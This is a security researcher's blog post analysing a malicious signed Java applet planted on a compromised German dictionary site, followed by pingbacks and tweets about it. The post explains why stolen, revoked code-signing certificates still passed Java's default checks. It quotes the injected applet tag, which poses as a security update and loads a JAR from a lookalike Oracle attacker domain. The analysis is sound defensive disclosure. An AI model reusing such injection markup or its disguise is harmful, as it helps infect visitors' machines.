When a Signed Java JAR file is not Proof of Trust
Today, Malware Domain List, reported strange behaviours regarding a Java app executed with the latest version of Java 6.
Java 0day ? bit.ly/12nWSC1 Machine is running latest 1.6 JRE. Source: pastebin.com/BiND6qZt
— Malware Domain List (@_MDL_) 4 mars 2013
As you can observe, VirusTotal didn’t find something wrong (0/46) regarding the Java app, but after few hours, some analysis and some discussions on Twitter, it appear that this file is a malicious file (3/46) dropping malwares and that Oracle still need to enhance the security level of Java.
This “innocent” Java app was found on “hxxp://dict.tu-chemnitz.de/“, a german online dictionary infected by g01pack Exploit Kit.
Call to the Java app was done through:
</pre></pre> <applet name="Java™ <span class=">ClearWeb Security Update" code="app.applet.class" archive="http://oracle.com.java.security.jre8.update.win32.release.for.datrynto.dynalias.com/css/pkcw.mp3"></applet> <pre> <pre> <param name="pert" value="36820"><param name="conchs" value="y"><param name="rss" value="rbE1I7EWurI7bh#b=uNWdJN==Jm7cmu6:6qI4Rwtx24cAxiWI=4=3%=x34cQeQQemZx"> </applet>
As you can see, the Java app try to make the end-user believe that this is a “ClearWeb Security Update” with a URL also trying to imitate a pseudo like Oracle Java JRE8 (lol) update.
Also you can see that the publisher is “CLEARESULT CONSULTING INC.“, a real firm located in Texas USA. It also seem that this applet is a “trusted” signed applet. If the applet were signed by an “non-trusted” or “self-signed” certificate the dialog box would have been like the following one.
If you click on the “More Information” link of the dialog box, you will have another messages confirming you that you can trust this Java applet (The digital signature was generated with a trusted certificate).
And by clicking on “Certificate Details“, you will have associated information’s.
You maybe remember that Oracle has introduce “Security Levels” since Java SE 7 Update 10 in December 2012. Five levels of security are supported, plus a custom security level settings. This feature can be set in the Java Control Panel or (on Microsoft Windows platform only) using a command-line install argument.
The five levels are:
- Custom: You can customize all the security settings based on you’re needs.
- Low: Most unsigned Java apps in the browser will run without prompting unless they request access to a specific old version or to protected resources on the system.
- Medium: Unsigned Java apps in the browser will run without prompting only if the Java version is considered secure. You will be prompted if an unsigned app requests to run on an old version of Java.
- High: Default Security Level. You will be prompted before any unsigned Java app runs in the browser.
- Very High: You will be prompted before any Java app runs in the browser. If your version of Java is insecure, unsigned apps will not run.
As you can see only unsigned Java app are considered as non-secure, and signed Java app are blocked only with the “Very High” security level. So with the default security level, aka “High” a signed Java app is executed additional advises.
If you read Oracle documentation “Understanding Signing and Verification“, you will find nice definitions, like:
You digitally sign a file for the same reason you might sign a paper document with pen and ink — to let readers know that you wrote the document, or at least that the document has your approval. When you sign a letter, for example, everyone who recognizes your signature can confirm that you wrote the letter. Similarly when you digitally sign a file, anyone who “recognizes” your digital signature knows that the file came from you. The process of “recognizing” electronic signatures is called verification.
or
The ability to sign and verify files is an important part of the Java platform’s security architecture. Security is controlled by the security policy that’s in force at runtime. You can configure the policy to grant security privileges to applets and to applications. For example, you could grant permission to an applet to perform normally forbidden operations such as reading and writing local files or running local executable programs. If you have downloaded some code that’s signed by a trusted entity, you can use that fact as a criterion in deciding which security permissions to assign to the code.
So you have understood, if a Java app is signed with your name, it is the proof that you have sign this Java app, and this Java app will run on your system with special privileges… But, but, if somebody has steal your private key that allow you to sign you’re Java app, can the users still trust the Java app ?
The Java app discovered by Malware Domain List was signed with a stollen private key… Worst, the certificate associated to the applet was revoked by GoDaddy the Dec 7 17:46:22 2012 GMT (thanks to @Jindroush). But signing and verifying files is so an important part of the Java platform’s security architecture that Jarsigner validates the file despite the certificate is revoked since a while…
The cause to this nightmare are very simple and I agree with Jindroush #WTF #Java !
My Java has “Check certificates for revocation” turned OFF.Also has “Enable granting elevated access to selfsigned apps” to ON.#wtf #Java
— Jindrich Kubec (@Jindroush) 4 mars 2013
By default, certificate revocation list check is set to “OFF” and signed Java app are authorized to have privileged accesses…
So conclusion, signed Java app are not a proof of trust if you don’t check revocation lists ….




[...] exploit was found on a German online dictionary compromised by the g01pack Exploit Kit, researcher Eric Romang said. The attack pretends to be a signed ClearWeb Security Update from Clearsult Consulting Inc., a [...]
[...] When a Signed Java JAR file is not Proof of Trust http://eromang.zataz.com/2013/03/05/when-a-signed-java-jar-file-is-not-proof-of-trust/ [...]
[...] une alerte signée Eric Romang, encore une applet Java compromise et portant haut et fier, un prétendu certificat officiel et [...]
[...] When a Signed Java JAR file is not Proof of Trust – eromang.zataz.com Running a signed Java JAR file is not a proof of trust and could lead to malware installation if Java default settings are applied. [...]
[...] “…Only unsigned Java app are deliberate as non-secure, and sealed Java app are blocked usually with a “Very High” confidence level. So with a default confidence level, aka “High” a sealed Java app is executed…,” he wrote. [...]
[...] to check certificate revocation lists came to light on Tuesday when a legitimate site was found hosting a malicious app. Java presented an accompanying certificate as a trusted credential belonging to Texas-based [...]
[...] When a Signed Java JAR file is not Proof of Trust http://eromang.zataz.com/2013/03/05/when-a-signed-java-jar-file-is-not-proof-of-trust/ [...]
[...] – Eric Romang via [...]
[...] – Eric Romang via [...]
[...] “…Only unsigned Java app are deliberate as non-secure, and sealed Java app are blocked usually with a “Very High” confidence level. So with a default confidence level, aka “High” a sealed Java app is executed…,” he wrote. [...]
[...] to check certificate revocation lists came to light on Tuesday when a legitimate site was found hosting a malicious app. Java presented an accompanying certificate as a trusted credential belonging to Texas-based [...]
[...] A signed Java exploit was discovered Monday on a website belonging to the Chemnitz University of Technology in Germany that was infected with a web exploit toolkit called g01pack, security researcher Eric Romang said this week in a blog post. [...]
[...] its certificates now. Looks like Java applets don‘t care about certificate revocation lists at all. Signed applets gain full access to the system. An invalid [...]
Why a signed java applet may not be a guarantee of trustworthiness.. (as if it ever was!!) http://t.co/wzCNCGdUsP
Wooohoo, we made it! 5 days without a new #Java #Exploit and now we have this here: http://t.co/lwSTQUAtrd
[...] wie gerade ein Fall an der TH Dresden zeigt [...]
The next nail in the coffin for Java in the browser? ‘When a Signed Java JAR file is not Proof of Trust’ http://t.co/TJf614Yw2r
[...] application was signed with a certificate that was revoked in December last year. Clearly, Java does not check for revoked certificates by [...]
[...] Beim Aufruf des Online-Wörterbuchs Beolingus der TU Chemnitz erschien eine Abfrage, ob der Anwender eine Java-Anwendung ausführen möchte. Das angebliche “Java ClearWeb Security Update” trug eine anscheinend gültige digitale Unterschrift der Firma CLEARESULT CONSULTING INC. Doch wer auf “Run” klickte, infizierte seinen Rechner mit Schad-Software, berichtet der Blogger Eric Romang. [...]
[...] sind vertrauenswürdig und dürfen die Sandbox verlassen. So weit, so gut. Eric Romang berichtet über einen Java-Schädling, der mit der Signatur eines vertrauenswürdigen Entwicklers [...]
[...] application was signed with a certificate that was revoked in December last year. Clearly, Java does not check for revoked certificates by [...]
[...] to check certificate revocation lists came to light on Tuesday when a legitimate site was found hosting a malicious app. Java presented an accompanying certificate as a trusted credential belonging to Texas-based [...]
[...] application was signed with a certificate that was revoked in December last year. Clearly, Java does not check for revoked certificates by [...]
When a Signed Java JAR file is not Proof of Trust. Another stolen private key… http://t.co/QFLeLLfDOZ
When a Signed Java JAR file is not Proof of Trust: http://t.co/gzgU9ODY45 via @eromang
[...] to check certificate revocation lists came to light on Tuesday when a legitimate site was found hosting a malicious app. Java presented an accompanying certificate as a trusted credential belonging to Texas-based [...]
[...] to check certificate revocation lists came to light on Tuesday when a legitimate site was found hosting a malicious app. Java presented an accompanying certificate as a trusted credential belonging to Texas-based [...]
#Malware attacks using digitally signed Java JAR files easily bypass most AV detection http://t.co/iTwD9k3ZmQ sigs alone ain’t trustworthy
When a Signed Java JAR file is not Proof of Trust – http://t.co/yfTRSHpW4S
Thank you for the information. I added to jre.msi two files with a transform (installed under lib) which set correct values to those settings.
When a Signed #Java #JAR file is not Proof of #Trust: http://t.co/fM9gy7ooeh
#java treats revoked certificates as valid. Good job, @oracle, good job. http://t.co/xsUHwL1CMW
Javaセキュリティレベル「高」(デフォ)では署名済Javaアプリの実行時確認を求めずCRLによる失効確認も行っていないのでこういう事 http://t.co/Wl8L7lgk8H が起きる。更に自己署名のアプリでも権限昇格する仕様。 http://t.co/jglHar8FXd
RT @ChrisJohnRiley: When a Signed Java JAR file is not Proof of Trust http://t.co/nKTu18nrWx via @twttimes
Top story: When a Signed Java JAR file is not Proof of Trust http://t.co/yrcWHIcI7G, see more http://t.co/S8ZBlO0ehr
“When a Signed Java JAR file is not Proof of Trust” http://t.co/TNRQmY0Hop
Signed Java JAR files are not always proof that they can be trusted. Learn why in this nice piece by @eromang http://t.co/2Xz3aMvMdH
[SuggestedReading] When a Signed Java JAR file is not Proof of Trust http://t.co/6RyVxRrXBl
دلائل جديدة تثبت للعالم عدم وجود أمن للمعلومات مع الجافا ، حتى بوجود التواقيع الالكترونية http://t.co/UFt1udNgyw
When a Signed Java JAR file is not Proof of Trust : http://t.co/y5r5LQ7H0M #Security
#Malware Infector: When a Signed Java #JAR file is not Proof of Trust (by @eromang ) http://t.co/Wopfc5L2pM #geo01EK http://t.co/1G56H6BZNF
When a Signed Java JAR file is not Proof of Trust: http://t.co/b03LBpmkx1
RT @eromang: When a Signed Java JAR file is not Proof of Trust http://t.co/i5CPCrCv5m <- What the? I don’t even, *sigh*
When a Signed Java JAR file is not Proof of Trust http://t.co/8IZFjs35Ep